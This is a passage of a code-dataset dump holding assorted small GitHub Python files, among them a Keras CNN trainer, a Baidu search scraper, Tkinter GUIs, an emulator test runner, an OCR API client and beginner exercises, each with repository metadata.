self.labelToolLeft.configure(\n text=f'{lang[\"tools\"][\"wrap\"]} {pref.textarea[\"wrap-mode\"]} {lang[\"tools\"][\"title\"]} {pref.window[\"title\"]}'\n )\n self.after(100, lambda: self._updateToolBar(editor))\n","repo_name":"komethit/KometShift","sub_path":"custom/toolbar.py","file_name":"toolbar.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"7278113710","text":"N = int(input())\narr = [0]\nfor _ in range(N):\n arr.append(int(input()))\nm = [0] * 10001\n\nm[1] = arr[1]\nm[2] = m[1] + arr[2]\n\nfor i in range(3, len(arr)):\n # i = i - 1\n\n m[i] = max(m[i - 2] + arr[i], m[i - 3] + arr[i - 1] + arr[i])\n\nprint(m[N - 1])","repo_name":"chnaaam/algorithm-study","sub_path":"baekjoon/N 2156. 포도주 시식.py","file_name":"N 2156. 포도주 시식.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43331040367","text":"from keras.utils import np_utils\nfrom keras.models import Model,Sequential\nfrom keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Flatten,Dropout,Input\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import SGD, Adam\nfrom keras.callbacks import EarlyStopping\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers.advanced_activations import *\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.cross_validation import train_test_split\nimport os\nimport numpy as np\nfrom math import log, floor\nimport pandas as pd\nimport sys\n\n\n\ndef load_data(training_data_path):\n\tdf = pd.read_csv(training_data_path)\n\tX_train = []\n\tfor index in range(len(df)):\n\t\tX_train.append(np.asarray(list(map(int, df.feature[index].split()))))\n\ty_train = df.label\n\n\treturn X_train,y_train\n\ndef preprocess(X_train,y_train):\n\n\tX_train = np.asarray(X_train)\n\tX_train = X_train.reshape(-1,48,48,1)/255.\n\t# One-Hot encoding\n\ty_train = np_utils.to_categorical(y_train, num_classes=7)\n\n\t# Data Augmentation\n\tX_train = np.concatenate((X_train, X_train), axis=0)\n\ty_train = np.concatenate((y_train, y_train), axis=0)\n\n\ttest_size = 0\n\n\ttrain_pixels,valid_pixels,train_labels,valid_labels = train_test_split(X_train,y_train,test_size=test_size,random_state=42)\n\t# save_pickle(train_pixels,train_labels,valid_pixels,valid_labels)\n\treturn train_pixels,valid_pixels,train_labels,valid_labels\ndef build_model():\n\n\tmodel = Sequential()\n\t# Conv layer 1 output shape (32, 48, 48)\n\tmodel.add(Conv2D(batch_input_shape=(None, 48,48,1),filters=32,kernel_size=5,padding='same',data_format='channels_last',activation='relu'))\n\t# Conv layer 2 output shape (32, 48, 48)\n\tmodel.add(Conv2D(32,5,strides=1,padding='same',data_format='channels_last',activation='relu'))\n\tmodel.add(BatchNormalization())\n\t# Pooling layer 1 (max pooling) output shape (32, 24, 24)\n\tmodel.add(MaxPooling2D((2,2)))\n\tmodel.add(Dropout(0.1))\n\n\t# Conv layer 3 output shape (64, 24, 24)\n\tmodel.add(Conv2D(64, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\t# Conv layer 4 output shape (64, 24, 24)\n\tmodel.add(Conv2D(64, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\tmodel.add(BatchNormalization())\n\t# Pooling layer 2 (max pooling) output shape (64, 12, 12)\n\tmodel.add(MaxPooling2D((2,2)))\n\tmodel.add(Dropout(0.2))\n\n\t# Conv layer 5 output shape (128, 12, 12)\n\tmodel.add(Conv2D(128, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\t# Conv layer 6 output shape (128, 12, 12)\n\tmodel.add(Conv2D(128, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\tmodel.add(BatchNormalization())\n\t# Pooling layer 2 (max pooling) output shape (128, 6, 6)\n\tmodel.add(MaxPooling2D((2,2)))\n\tmodel.add(Dropout(0.3))\n\n\t# Conv layer 7 output shape (256, 6, 6)\n\tmodel.add(Conv2D(256, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\tmodel.add(BatchNormalization())\n\t# Conv layer 8 output shape (256, 6, 6)\n\tmodel.add(Conv2D(256, 3, strides=1, padding='same', data_format='channels_last',activation='relu'))\n\tmodel.add(BatchNormalization())\n\t# Pooling layer 3 (max pooling) output shape (256, 6, 6)\n\tmodel.add(MaxPooling2D((2,2)))\n\tmodel.add(Dropout(0.4))\n\n\t# Fully connected layer 1 input shape (256 * 3 * 3) = ()\n\tmodel.add(Flatten())\n\n\tmodel.add(Dense(1024))\n\tmodel.add(BatchNormalization())\n\tmodel.add(Activation('relu'))\n\tmodel.add(Dropout(0.5))\n\n\tmodel.add(Dense(7))\n\tmodel.add(Activation('softmax'))\n\n\n\treturn model\n\ndef main(training_data_path):\n\n\t# parameter\n\tsave_every = 20\n\tbatch_size = 128\n\tnum_epoch = 1 \n\n\tX_train,y_train = load_data(training_data_path)\n\tprint('Load Data Successful!')\n\n\ttrain_pixels,valid_pixels,train_labels,valid_labels = preprocess(X_train,y_train)\n\tprint('Data PreProcess Successful!')\n\n\t# Data Augmentation\n\tdatagen = ImageDataGenerator(\n\t\trotation_range=15,\n\t\twidth_shift_range=0.2,\n\t\theight_shift_range=0.2,\n\t\thorizontal_flip=True)\n\n\tdatagen.fit(train_pixels)\n\n\tmodel = build_model()\n\n\tmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\tmodel.summary()\n\n\t# callback \n\tearlystop = EarlyStopping(monitor='val_acc', min_delta=0.0001, patience=5,verbose=1, mode='auto')\n\tfilepath = \"model/model-{epoch:02d}-{acc:.2f}.h5\"\n\tcheckpoint = ModelCheckpoint(filepath, monitor='acc', verbose=1,save_best_only=False,mode='auto', period=save_every)\n\n\t# \n\tmodel_info = model.fit_generator(datagen.flow(train_pixels, train_labels, batch_size=batch_size), \n\t\tsteps_per_epoch=len(train_pixels)//batch_size,\n\t\tepochs=num_epoch,\n\t\t# validation_data=(valid_pixels, valid_labels),\n\t\t# callbacks=[checkpoint]\n\t\t)\n\tprint('Model Train Successful!')\n\t# Evaluate\n\tscore = model.evaluate(train_pixels,train_labels,batch_size=128)\n\tprint ('\\nTotal loss on Testing Set :', score[0])\n\tprint ('Train Acc:', score[1])\n\n\tmodel.save('best_model.h5')\n\tprint('Model Save!')\n\nif __name__ == '__main__':\n\ttraining_data_path = sys.argv[1]\n\tmain(training_data_path)","repo_name":"jacky-guo/ML2017FALL","sub_path":"hw3/hw3_train.py","file_name":"hw3_train.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20416904915","text":"# -*- coding:utf-8 -*-\nimport re\nimport sys\nimport time\n\nimport jieba\nfrom lxml import etree\n\nfrom utils import Tools\n\n\nclass BaiduSearh(object):\n def __init__(self):\n self.base_url = \"http://www.baidu.com/s?wd=inurl:{}&pn={}\"\n if len(sys.argv) == 1:\n sys.argv.append(input(\"请输入您要搜索的关键字:\"))\n\n def get_html(self, page):\n url = self.base_url.format(sys.argv[1], page)\n html = Tools.get_response(url)\n if html is None:\n return\n html_xpath = etree.HTML(html)\n return html_xpath\n\n @staticmethod\n def get_total(html_xpath):\n \"\"\"\n 获取此次搜索结果的总数\n :param html_xpath:\n :return:\n \"\"\"\n result = html_xpath.xpath(\"//span[@class='nums_text']/text()\")\n if len(result) == 0:\n print(\"没有匹配到您要的数据\")\n exit()\n total_numbers = re.findall(r\"\\d+\", result[0].replace(\",\", \"\"))[0]\n print(f\"一共有{total_numbers}条结果\")\n\n @staticmethod\n def title_url(html_xpath):\n \"\"\"\n 处理响应,提取标题和标题对应URL\n :param html_xpath:\n :return:\n \"\"\"\n content = html_xpath.xpath(\"//div[@class='c-tools']/@data-tools\")\n if len(content) == 0:\n print(\"匹配标题和URL失败,请检查代码\")\n exit()\n content_list = []\n for c_dict in content:\n c_dict = eval(c_dict)\n c_dict[\"_id\"] = Tools.deal_hash(c_dict[\"url\"].encode(\"utf-8\")) # 对URL进行hash处理做为'_id'\n c_dict[\"insert_time\"] = int(time.time())\n c_dict[\"update_time\"] = int(time.time())\n content_list.append(c_dict)\n return content_list\n\n @staticmethod\n def deal_jieba(content_list):\n \"\"\"\n 通过结巴分词进行处理\n :param content_list:\n :return:\n \"\"\"\n for content in content_list:\n content = jieba.cut(content[\"title\"])\n print(\"/\".join(content))\n\n @staticmethod\n def save_mongodb(content_list, page):\n \"\"\"\n 保存到mongodb数据库中\n :param content_list:\n :param page:\n :return:\n \"\"\"\n collection = Tools.mongodb_cursor()\n for content in content_list:\n try:\n collection.insert_one(content)\n except Exception as e:\n # print(\"URL已存在\", e)\n continue\n print(f\"保存第{int((page + 10)/10)}页数据完成\")\n\n def run(self):\n page = 0\n while True:\n html_xpath = self.get_html(page)\n if html_xpath is None:\n break\n if page == 0:\n self.get_total(html_xpath)\n content_list = self.title_url(html_xpath)\n self.save_mongodb(content_list, page)\n page += 10\n time.sleep(Tools.sleep_seconds())\n print(f\"此次一共抓取了{page}页数据\")\n\n\nif __name__ == '__main__':\n baidu = BaiduSearh()\n baidu.run()\n","repo_name":"kclambda/search_engine","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"276622151","text":"import tkinter as tk\nimport tkinter.filedialog as tkf\n\nDirectory = None\nFilename = \"Peter\"\n\ndef DeinText(event):\n print(e.get())\n\ndef Browse():\n global Directory\n Directory = tkf.askdirectory()\n d.set(Directory)\n print(Directory)\n\ndef SaveFile():\n print(str(Directory) + \"\\\\\" + Filename + \".txt\")\n f = open(Directory + \"\\\\\" + Filename + \".txt\", \"w\")\n f.write(e.get())\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n menu = tk.Menu(root)\n root.config(menu=menu)\n Filemenu = tk.Menu(menu)\n menu.add_cascade(label=\"File\", menu=Filemenu)\n menu.add_cascade(label=\"Help\", menu=Filemenu)\n root.title(\"GUI\")\n d = tk.StringVar()\n tk.Label(root, text=\"Browse your directory:\").grid(row=0)\n tk.Button(root, text=\"Browse\", command=Browse).grid(row=0, column=2)\n tk.Label(root, textvariable=d).grid(row=0, column=1)\n tk.Label(root, text=\"Dein Text: \").grid(row=2, sticky=\"e\")\n b = tk.Button(root, text=\"Print\", command=DeinText)\n b.bind(\"\", DeinText)\n b.grid(row=2, column=2, pady=4)\n tk.Button(root, text=\"Quit\", command=root.quit).grid(row=3)\n tk.Button(root, text=\"Save File\", command=SaveFile).grid(row=3, column=1)\n e = tk.Entry(root)\n e.bind(\"\", DeinText)\n e.insert(10, \"Text\")\n e.grid(row=2, column=1,sticky=\"w\")\n root.update_idletasks()\n root.mainloop()","repo_name":"DasCodeMonster/LearningPython-new","sub_path":"GUI3.py","file_name":"GUI3.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14535833234","text":"from matplotlib import pyplot as plt\nimport pandas as pd\nimport numpy as np\n\ndef get_data_per_anchor(df, anchor):\n return df.loc[df['anchor'] == anchor]\n\ndef spatial_plot(errors, location_x, location_y, filename, title, testing_room='testbench_01_furniture_mid_concrete', mode='xy', vmin=None, vmax=None, cmap='PuBu'):\n\n \"\"\"\n Error per point plot\n \"\"\"\n errors = pd.DataFrame({\n\n 'coord_x': location_x,\n\n 'coord_y':location_y,\n\n 'errors': errors,\n\n })\n # errors['xy'] = preds- true_pos\n # errors[['xy']] = true_pos\n # errors['xy'] = mean_absolute_error(preds, true_pos)\n # errors[['x_tag', 'y_tag', 'z_tag']] = true_pos\n ax = plt.gca()\n mappable = errors.plot.hexbin('coord_x', 'coord_y', 'errors', gridsize=(35,12), figsize = (17,7), cmap=cmap, vmin=vmin, vmax=vmax, ax=ax)\n addFurniture(ax, testing_room)\n ax.set_xlabel('x(m)')\n ax.set_ylabel('y(m)')\n ax.set_ylim(43,50.3)\n ax.set_xlim(43.9,58.2)\n ax.set_xticklabels(list(range(-2,15,2)))\n ax.set_yticklabels(list(range(0,8)))\n ax.text(60.3, 46, 'MAE (angle)', rotation=90)\n ax.set_title(title)\n plt.savefig(filename,bbox_inches='tight', pad_inches = 0)\n plt.show()\n\ndef addFurniture(ax, room, anchors=[1,2,3,4]):\n\n \"\"\"\n Adds furniture in spatial plot\n \"\"\"\n\n a = np.array([1,1,1,1,1,1])\n a_low = 0.5\n if room in ['testbench_01_furniture_mid', 'testbench_01_furniture_mid_concrete']:\n a[1] = a[3] = a_low\n if room in ['testbench_01_furniture_low', 'testbench_01_furniture_low_concrete']:\n a[2] = a[0] = a_low\n if room in ['testbench_01', 'testbench_01_scenario2', 'testbench_01_scenario3']:\n a = 6*[a_low]\n furniture = [plt.Rectangle((44.+1.9, 43.1+0.2), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[0]),\n plt.Rectangle((44.+4.45, 43.1+1), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[1]),\n plt.Rectangle((44.+6.4, 43.1+2.6), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[2]),\n plt.Rectangle((44.+1.7, 43.1+4.1), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[3]),\n plt.Rectangle((44.+4.2, 43.1+3.4), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[4]),\n plt.Rectangle((44.+5.4, 43.1+5.15), 0.5, 1, fc='orange', ec='black', lw=2, alpha=a[5]),]\n \n anchrs = [plt.Circle((57.9, 43.3), 0.2, fc='firebrick', ec='black', lw=2),\n plt.Circle((57.9, 50.0), 0.2, fc='firebrick', ec='black', lw=2),\n plt.Circle((44.3, 50.0), 0.2, fc='firebrick', ec='black', lw=2),\n plt.Circle((44.3, 43.3), 0.2, fc='firebrick', ec='black', lw=2)]\n\n for anchor in anchors:\n ax.add_patch(anchrs[anchor-1])\n for item in furniture:\n ax.add_patch(item)","repo_name":"nnizh131/AoA","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70419804006","text":"#!/usr/bin/python3\n\nimport os\nfrom sys import argv\nfrom pathlib import Path\nimport re\n\n\nassert len(argv) >= 2, \"Usage: {} bgb_command\".format(argv[0])\n\nsystems_codes = {\n\t\"all\": [\"dmg0\", \"dmg\", \"mgb\", \"sgb\", \"sgb2\", \"cgb0\", \"cgb\", \"agb\", \"ags\"],\n\n\t\"G\": [\"dmg0\", \"dmg\", \"mgb\"],\n\t\"S\": [\"sgb\", \"sgb2\"],\n\t\"C\": [\"cgb0\", \"cgb\", \"agb\", \"ags\"],\n\t\"A\": [\"agb\", \"ags\"],\n\n\t\"dmg0\": [\"dmg0\"],\n\t\"dmg\": [\"dmg\"],\n\t\"mgb\": [\"mgb\"],\n\t\"sgb\": [\"sgb\"],\n\t\"sgb2\": [\"sgb2\"],\n\t\"cgb0\": [\"cgb0\"],\n\t\"cgb\": [\"cgb\"],\n\t\"agb\": [\"agb\"],\n\t\"ags\": [\"ags\"]\n}\n\nsystems_settings = {\n\t\"dmg0\": {\"SystemMode\": 0, \"DetectGBP\": 0, \"DetectGBA\": 0},\n\t\"dmg\": {\"SystemMode\": 0, \"DetectGBP\": 0, \"DetectGBA\": 0},\n\t\"mgb\": {\"SystemMode\": 0, \"DetectGBP\": 1, \"DetectGBA\": 0},\n\t\"sgb\": {\"SystemMode\": 2, \"DetectGBP\": 0, \"DetectGBA\": 0},\n\t\"sgb2\": {\"SystemMode\": 2, \"DetectGBP\": 1, \"DetectGBA\": 0},\n\t\"cgb0\": {\"SystemMode\": 1, \"DetectGBP\": 0, \"DetectGBA\": 0},\n\t\"cgb\": {\"SystemMode\": 1, \"DetectGBP\": 0, \"DetectGBA\": 0},\n\t\"agb\": {\"SystemMode\": 1, \"DetectGBP\": 0, \"DetectGBA\": 1},\n\t\"ags\": {\"SystemMode\": 1, \"DetectGBP\": 0, \"DetectGBA\": 1}\n}\nrom_from_mode = [\"DmgBootRom\", \"CgbBootRom\", \"SgbBootRom\"]\n\nsystem_regex = re.compile('(G|S|C|A|dmg0?A?B?C?|mgb|sgb2?|cgb0?A?B?C?D?E?|agb0?A?B?|ags0?A?B?)')\nrevs_regex = re.compile('[ABCDE]')\n\n\n# Generate setting list\nsettings = []\nwith open(\"bgb.ini\", \"rt\") as ini_file:\n\tfor line in ini_file:\n\t\tsettings.append('-set \"{}\"'.format(line.replace('\\n', '')))\n\n# Process all ROMs\nrom_list = list(Path('.').rglob('*.gb'))\nresults = {}\nrom_i = 0\nfor rom_path in rom_list:\n\trom_i += 1\n\tprint(\"Running test {} ({}/{})\".format(rom_path.as_posix(), rom_i, len(rom_list)))\n\n\t# Customize which system(s) should be used depending on the ROM name\n\trom_name = rom_path.stem\n\tif rom_name.count('-') == 0:\n\t\t# Works on all systems\n\t\tsystems = systems_codes[\"all\"]\n\telse:\n\t\t# Only works on a precise system\n\t\tindex = rom_name.rindex('-')\n\t\tsystems = []\n\t\tfor code in system_regex.findall(rom_name[index+1:]):\n\t\t\tif code[0].islower():\n\t\t\t\tcode = revs_regex.sub('', code)\n\t\t\tsystems.extend(systems_codes[code])\n\n\tsystem_results = {}\n\tsystem_i = 0\n\tfor system in systems:\n\t\tsystem_i += 1\n\t\tprint(\"System: {} ({}/{})\".format(system, system_i, len(systems)), end=' => ')\n\t\t# Pick settings based on model\n\t\t# Corresponding settings are SystemMode, DetectGBP, and DetectGBA\n\t\t# And also the corresponding boot ROM\n\t\tsystem_settings = [\"-set {}={}\".format(*pair) for pair in list(systems_settings[system].items()) + [(rom_from_mode[systems_settings[system][\"SystemMode\"]], \"boot-roms/{}.bin\".format(system))]]\n\n\t\tscreenshot_name = 'screenshots/' + rom_path.as_posix().replace('.gb', '__{}.bmp'.format(system))\n\t\t# Create the directories the file will be in\n\t\tPath(screenshot_name).parent.mkdir(parents=True, exist_ok=True)\n\t\t# Run BGB\n\t\tcommand = '{} -hf -rom {} -br \"/TOTALCLKS>=9896800/\" {} -stateonexit out.state -screenonexit {}'.format(argv[1], rom_path, \" \".join(settings + system_settings), screenshot_name)\n\t\tos.system(command)\n\n\t\trom_results = {}\n\t\trequired_props = [\"AF\", \"BC\", \"DE\", \"HL\", \"PC\", \"WRAM\", \"HRAM\"]\n\t\twith open(\"out.state\", \"rb\") as out_file:\n\t\t\t# Parse BGB's save state file\n\t\t\t# Format: name (zero-terminated), length (4 bytes LE), data (for registers, it's LE)\n\t\t\twhile required_props:\n\t\t\t\t# Read name\n\t\t\t\tname = []\n\t\t\t\twhile True:\n\t\t\t\t\tbyte = out_file.read(1)[0]\n\t\t\t\t\tif byte == 0:\n\t\t\t\t\t\tbreak\n\t\t\t\t\tname.append(byte)\n\t\t\t\tname = bytes(name).decode('ascii')\n\t\t\t\t# Read length\n\t\t\t\tlength = int.from_bytes(out_file.read(4), \"little\")\n\t\t\t\t# Read value\n\t\t\t\tvalue = out_file.read(length)\n\n\t\t\t\t# Check if name corresponds to anything we're looking for\n\t\t\t\tif name in required_props:\n\t\t\t\t\trequired_props.remove(name)\n\t\t\t\t\trom_results[name] = value\n\n\t\t\t# Check if test succeeded\n\t\t\tbc = int.from_bytes(rom_results[\"BC\"], \"little\")\n\t\t\tde = int.from_bytes(rom_results[\"DE\"], \"little\")\n\t\t\thl = int.from_bytes(rom_results[\"HL\"], \"little\")\n\t\t\tpc = int.from_bytes(rom_results[\"PC\"], \"little\")\n\t\t\tif pc < 0x8000:\n\t\t\t\twith open(rom_path, \"rb\") as rom_file:\n\t\t\t\t\trom_file.seek(pc) # Assuming the loaded bank is 1..!\n\t\t\t\t\top = int.from_bytes(rom_file.read(1), \"little\")\n\t\t\telif pc < 0xE000:\n\t\t\t\tassert pc >= 0xC000, \"I never expected a test to end in VRAM: \" + hex(pc)\n\t\t\t\top = rom_results[\"WRAM\"][pc - 0xC000]\n\t\t\telse:\n\t\t\t\tassert pc >= 0xFF80, \"I never expected a test to end in EX/FXXX: \" + hex(pc)\n\t\t\t\top = rom_results[\"HRAM\"][pc - 0xFF80]\n\t\t\t\t\n\t\tif op != 0x40: # ld b, b\n\t\t\tsystem_results[system] = \"Hang@\" + hex(pc)\n\t\telif bc == 0x0305 and de == 0x080D and hl == 0x1522:\n\t\t\tsystem_results[system] = \"Pass\"\n\t\telse:\n\t\t\tsystem_results[system] = \"Fail\"\n\t\tprint(system_results[system])\n\n\tresults[rom_path.as_posix()] = system_results\n\nwith open(\"results.txt\", \"wt\") as results_file:\n\tfor name,result in results.items():\n\t\tprint(\"{}: {}\".format(name, \", \".join([\"{} = {}\".format(system, status) for system,status in result.items()])), file=results_file)\n\n","repo_name":"ISSOtm/bgb-mooneye-tester","sub_path":"run_bgb_tests.py","file_name":"run_bgb_tests.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"9879618177","text":"#!/bin/python3\n\n# https://www.hackerearth.com/pt-br/problem/algorithm/print-all-substrings/\n\nimport doctest\n\n\ndef printSubStringEfficient(string):\n \"\"\"\n >>> printSubString('abcd')\n a\n b\n c\n d\n ab\n bc\n cd\n abc\n bcd\n abcd\n >>> printSubString('abcde')\n a\n b\n c\n d\n e\n ab\n bc\n cd\n de\n abc\n bcd\n cde\n abcd\n bcde\n abcde\n \"\"\"\n for i in range(1, len(string) + 1):\n for j in range(0, len(string) + 1 - i):\n print (string[slice(j, j+i)])\n\n\ndef printSubString(string):\n \"\"\"\n >>> printSubString('abcd')\n a\n b\n c\n d\n ab\n bc\n cd\n abc\n bcd\n abcd\n >>> printSubString('abcde')\n a\n b\n c\n d\n e\n ab\n bc\n cd\n de\n abc\n bcd\n cde\n abcd\n bcde\n abcde\n \"\"\"\n for i in range(1, len(string)+1):\n for j in range(0, len(string)):\n if j+i < len(string)+1:\n print(\"\".join(string[j:j+i]))\n\n\nif __name__ == '__main__':\n # doctest.testmod()\n\n s = input()\n printSubStringEfficient(s)\n","repo_name":"iamniting/hackerrank","sub_path":"stream-of-substrings.py","file_name":"stream-of-substrings.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9205711309","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# @Time : 2023/6/20 10:52\n# @Author : Scott Yang\n# @Site : \n# @File : youdao.py\n# @Software: PyCharm\n# https://ai.youdao.com/DOCSIRMA/html/ocr/api/bgocr/index.html\n# -*- coding: utf-8 -*-\n# import sys\nimport json\nimport uuid\n# from imp import reload\n\nimport requests\nimport base64\nimport hashlib\nimport time\n\nimport secret\n\n# reload(sys)\n# sys.setdefaultencoding('utf-8')\n\nYOUDAO_URL = 'https://openapi.youdao.com/ocr_table'\nAPP_KEY = secret.YOUDAO_APP_ID\nAPP_SECRET = secret.YOUDAO_SECRET\n\n\ndef truncate(q):\n if q is None:\n return None\n q_utf8 = q.decode(\"utf-8\")\n size = len(q_utf8)\n return q_utf8 if size <= 20 else q_utf8[0:10] + str(size) + q_utf8[size - 10:size]\n\n\ndef encrypt(signStr):\n hash_algorithm = hashlib.sha256()\n hash_algorithm.update(signStr.encode('utf-8'))\n return hash_algorithm.hexdigest()\n\n\ndef do_request(data):\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n return requests.post(YOUDAO_URL, data=data, headers=headers)\n\n\ndef connect(path):\n f = open(path, 'rb') # 二进制方式打开图文件\n q = base64.b64encode(f.read()) # 读取文件内容,转换为base64编码\n f.close()\n\n data = {}\n data['type'] = '1'\n data['q'] = q\n data['docType'] = 'json'\n data['signType'] = 'v3'\n curtime = str(int(time.time()))\n data['curtime'] = curtime\n salt = str(uuid.uuid1())\n signStr = APP_KEY + truncate(q) + salt + curtime + APP_SECRET\n sign = encrypt(signStr)\n data['appKey'] = APP_KEY\n data['salt'] = salt\n data['sign'] = sign\n\n response = do_request(data)\n print(json.loads(response.content.decode('utf-8')))\n\n\nif __name__ == '__main__':\n # connect('./org_table/adidas_1.jpg') # 识别到了表格外的内容,而且部分括号识别错误\n connect('./org_table/adidas_1_tb_1.jpg')","repo_name":"SoleGH/much_more","sub_path":"python/extract_table/youdao.py","file_name":"youdao.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72215379686","text":"import random\r\n\r\nrock = '''\r\n _______\r\n---' ____)\r\n (_____)\r\n (_____)\r\n (____)\r\n---.__(___)\r\n'''\r\n\r\npaper = '''\r\n _______\r\n---' ____)____\r\n ______)\r\n _______)\r\n _______)\r\n---.__________)\r\n'''\r\n\r\nscissors = '''\r\n _______\r\n---' ____)____\r\n ______)\r\n __________)\r\n (____)\r\n---.__(___)\r\n'''\r\n\r\n# Write your code below this line 👇\r\n\r\n# 0 - rock, 1 - paper, 2 scissors\r\nplayer_choice = int(input(\"What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors.\\n\"))\r\n\r\ncomputer_choice = random.randint(0, 2)\r\n\r\nlist_of_choices = [rock, paper, scissors]\r\n\r\n# catch invalid inputs\r\nif player_choice >= 3 or player_choice < 0:\r\n print(\"You typed an invalid number.\")\r\nelse:\r\n # print your choice\r\n print(\"You chose:\\n\")\r\n print(list_of_choices[player_choice])\r\n\r\n # print computer choice\r\n print(\"Computer chose:\\n\")\r\n print(list_of_choices[computer_choice])\r\n\r\n if computer_choice == 2 and player_choice == 0:\r\n # you win\r\n print(\"You win.\")\r\n elif computer_choice == 0 and player_choice == 2:\r\n # computer wins\r\n print(\"You lose.\")\r\n elif computer_choice > player_choice:\r\n # computer wins\r\n print(\"You lose.\")\r\n elif player_choice > computer_choice:\r\n # player wins\r\n print(\"You win.\")\r\n elif computer_choice == player_choice:\r\n # draw\r\n print(\"Draw.\")\r\n\r\n\r\n\r\n\r\n","repo_name":"findamak/python-course","sub_path":"rock-paper-scissors/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36507511139","text":"from io import TextIOWrapper as struct_IO_FILE\n\nclass uint(int):\n\tdef __init__(self, value):\n\t\tself = value+(2**32)\n\nsize_t = int\nFILE = struct_IO_FILE\nlong_int = int\nchar = int\nuchar = uint\ndouble = float","repo_name":"User0332/pylibc","sub_path":"pylibc/typedefs.py","file_name":"typedefs.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"19741895058","text":"# -*- coding: utf-8 -*-\n\nfrom testing_config import BaseTestConfig\nfrom application.models import Resource\nimport json\nfrom application.utils import auth\nfrom index import bcrypt\nfrom datetime import datetime\n\nimport xxhash\n\nclass TestPDFHash(BaseTestConfig):\n\n def test_upload_new_article(self):\n\n r1 = Resource.index_new_resource({\n \"url\": \"http://localhost:5000/api/pdf/leewes.pdf\"\n }, {\n \"id\": 15\n , \"email\": \"rahul@test.com\"\n })\n\n print(r1)\n self.assertTrue(r1)\n article_id = r1['_id']\n\n r2 = Resource.index_new_resource({\n \"url\": \"http://localhost:5000/api/pdf/leewes_dup.pdf\"\n }, {\n \"id\": 15\n , \"email\": \"rahul@test.com\"\n })\n\n r3 = Resource.get_resource_with_id(article_id)\n\n # both articles have been hashed to the same location\n self.assertTrue(len(r3['links']) == 2)\n\n r4 = Resource.index_new_resource({\n \"url\": \"http://localhost:5000/api/pdf/pdf2.pdf\"\n }, {\n \"id\": 15\n , \"email\": \"rahul@test.com\"\n })\n\n article = Resource.get_resource_with_id(article_id)\n\n self.assertTrue(article['kExt'] == \"pdf\")\n self.assertTrue(article['kMIME'] == \"application/pdf\")\n\n # both articles have been hashed to the same location\n self.assertTrue(len(article['links']) == 2)\n\n\"\"\" Speed tests commented out until perf testing\n def test_speed_upload_new_article(self):\n\n t1 = datetime.now()\n r = Article.index_new_article({\n \"url\": \"http://www.anzjsurg.com/SpringboardWebApp/userfiles/anzjs/file/Medicine%20and%20Surgery.pdf\"\n }, {\n \"_id\": 15\n , \"email\": \"rahul@test.com\"\n })\n self.assertTrue(r.acknowledged)\n t2 = datetime.now()\n print(\"%d seconds taken\" % (t2 - t1).total_seconds())\n\n self.assertTrue( (t2 - t1).total_seconds() < 5)\n\n def test_speed_upload_large_dataset(self):\n\n t1 = datetime.now()\n r = Article.index_new_article({\n \"url\": \"https://clinicaltrials.gov/AllPublicXML.zip\"\n }, {\n \"_id\": 15\n , \"email\": \"rahul@test.com\"\n })\n self.assertTrue(r.acknowledged)\n t2 = datetime.now()\n print(\"%d seconds taken\" % (t2 - t1).total_seconds())\n\n self.assertTrue( (t2 - t1).total_seconds() < 10)\n\"\"\"\n\n","repo_name":"PeerEdit/PeerEdit","sub_path":"tests/test_pdf_hash.py","file_name":"test_pdf_hash.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"42621103813","text":"import re\r\n\r\nregex12or24hour = r'(0[1-9]|1[0-2]):[0-5][0-9]:[0-5][0-9](AM|PM)|([0-1][0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9]'\r\n\r\nwith open('input.txt', 'r', encoding = 'utf8') as file:\r\n input_text = file.read().replace('\\n', '')\r\n\r\nfor timestamp in re.finditer(regex12or24hour, 